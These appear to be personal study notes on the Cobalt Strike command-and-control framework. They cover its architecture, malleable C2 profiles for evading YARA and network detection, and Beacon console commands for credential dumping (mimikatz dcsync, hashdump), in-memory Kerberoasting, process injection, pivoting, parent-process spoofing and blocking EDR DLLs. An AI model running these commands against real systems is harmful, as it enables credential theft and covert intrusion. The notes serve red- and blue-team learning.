Cobalt Strike - Dive into C2 framework (field notes)

 
Cobalt Strike tool

The architecture in the order you touch them:

  • Team server — the central process. It stores sessions, listeners, logs and payload artifacts, and it is the only thing the Beacons actually talk to. It runs on a Linux VPS, never on the target network.
  • Client — the operator's GUI (Java). You connect to a team server, and the client shows everyone's consoles, the shared session list and the chat.
  • Listeners — the endpoints Beacon calls home to. A listener defines the transport (HTTP, HTTPS, DNS, SMB, TCP), the port and the malleable profile it will use.
  • Beacon — the payload itself. The listener produces stagers and full payloads (DLL, EXE, service EXE, PowerShell, raw shellcode) that all point back at that listener.

(The mental model: the team server is infrastructure you never expose to the target, the listener is the door, and Beacon is the guest who only knocks)

Beacon: the implant

Beacon is asynchronous by design. It does not hold a permanent connection; it sleeps, wakes on an interval, checks in for orders, executes them, and goes back to sleep. Two numbers control that rhythm:

beacon> sleep 300 20

That means "check in every 300 seconds, with up to 20% jitter". Jitter is the part that matters for detection: a beacon calling home exactly every 60 seconds is a metronome an analyst can graph in their sleep. Beacons rotated across several domains, with jitter, look like a user reloading a dashboard.

Transports you will see in the listener menu:

  • HTTP / HTTPS — the default
  • DNS — slow, low-bandwidth, built for hostile egress filtering.
  • SMB — a beacon-to-beacon transport for pivoting inside a network that has no route to the internet.
  • TCP — a raw bind/reverse channel, usually for a pivot you fully control.
  • DNS over HTTPS (DoH) — wrapping the DNS transport inside HTTPS so the resolver traffic no longer looks like DNS at all.

Malleable C2: teaching Beacon to lie

If you remember one feature, remember this one. A malleable C2 profile is a small program that tells Cobalt Strike how to transform its data and store it in a transaction — and how to pull it back out at the other end. It controls the network indicators (URIs, headers, User-Agent, the shape of the request bodies), the timing defaults, and parts of Beacon's memory footprint.

A tiny, real example from the vendor's own YARA write-up:

stage {
    transform-x64 {
        strrep "(admin)" "(adm)";
    }
}

That single string replacement is enough to break a class of YARA rules that match on default Beacon strings — which is exactly the point. Because the profile is a language, operators can make Beacon look like a Microsoft update client, like a known APT's traffic, or like generic noise, and then test whether the target's detection stack notices.

Profiles are not free-form guesswork. Cobalt Strike ships c2lint, a profile checker that validates syntax and runs unit-style checks before you commit a profile to an engagement:

$ ./c2lint myprofile.profile

Public, well-maintained profile collections exist and are the normal starting point: rsmudge/Malleable-C2-Profiles and threatexpress/malleable-c2. Reading those two repositories is, honestly, the fastest way to understand the language.

Working a session

Once a Beacon checks in, everything happens in its console. These are the commands I actually used while learning, all straight from the user guide and the operator's guide.

Legacy command execution (spawns cmd.exe, easy to detect):

beacon> shell whoami /priv
beacon> run net localgroup administrators

Situational awareness and credentials:

beacon> getuid
beacon> ps
beacon> logonpasswords
beacon> hashdump
beacon> mimikatz !lsadump::dcsync /user:corp\da

The ! prefix in a mimikatz command forces elevation to SYSTEM before it runs; @ forces it to use Beacon's current token instead. That small syntax is the whole access-control story of post-exploitation in one line.

Running tooling in memory instead of on disk:

beacon> execute-assembly /opt/tools/Rubeus.exe kerberoast
beacon> powershell Get-ADUser -Filter *
beacon> inject 4242 x64 https
beacon> spawn x64 https

execute-assembly loads a .NET assembly into a temporary process and runs it entirely in memory; inject places a new Beacon into an existing process, and spawn starts a fresh one — either way, the new session inherits the context it spawned into. Movement over an existing foothold is the same idea in a different direction:

beacon> sock 1080
beacon> rportfwd 8080 127.0.0.1 80

socks (or sock) opens a SOCKS proxy through the Beacon so tools on the team server can reach the internal network; rportfwd turns the Beacon into a relay in the other direction. Both are how a single foothold becomes a pivot.

Lat's jump in parent-process spoofing — a process's parent is a strong signal. A beacon running under a signed Microsoft process that was, in reality, launched by an Office macro stands out the moment someone graphs it:

beacon> ppid 1324
beacon> spawnto x64 C:\Windows\System32\rundll32.exe

ppid sets the parent process ID that Beacon will use when it spawns; spawnto chooses which program Beacon launches when it needs to run shellcode. Both are noise-reduction tools — the wrong default (cmd.exe spawning a beacon) is a one-line detection.

Blocking foreign DLLs in child processes — many EDR products rely on userland DLL hooks. If your spawned process refuses to load anything that is not Microsoft-signed, those hooks never attach:

beacon> blockdlls start

Field Note — Cobalt Strike is the most-detected C2 framework in the world, which makes it a good place to study detection.

The honest opinion from a blue team: you are not detecting "Cobalt Strike", you are detecting the operator's mistakes — an untuned profile, a synchronous metronome, a legacy shell command, or a name that should not exist. The red team stops hunting for the "best payload" and starts writing the profile that fits the target, and the blue team stops hunting for the tool and starts hunting for the person behind it.

This article is my notes from working through what the tool actually is, how its pieces fit together.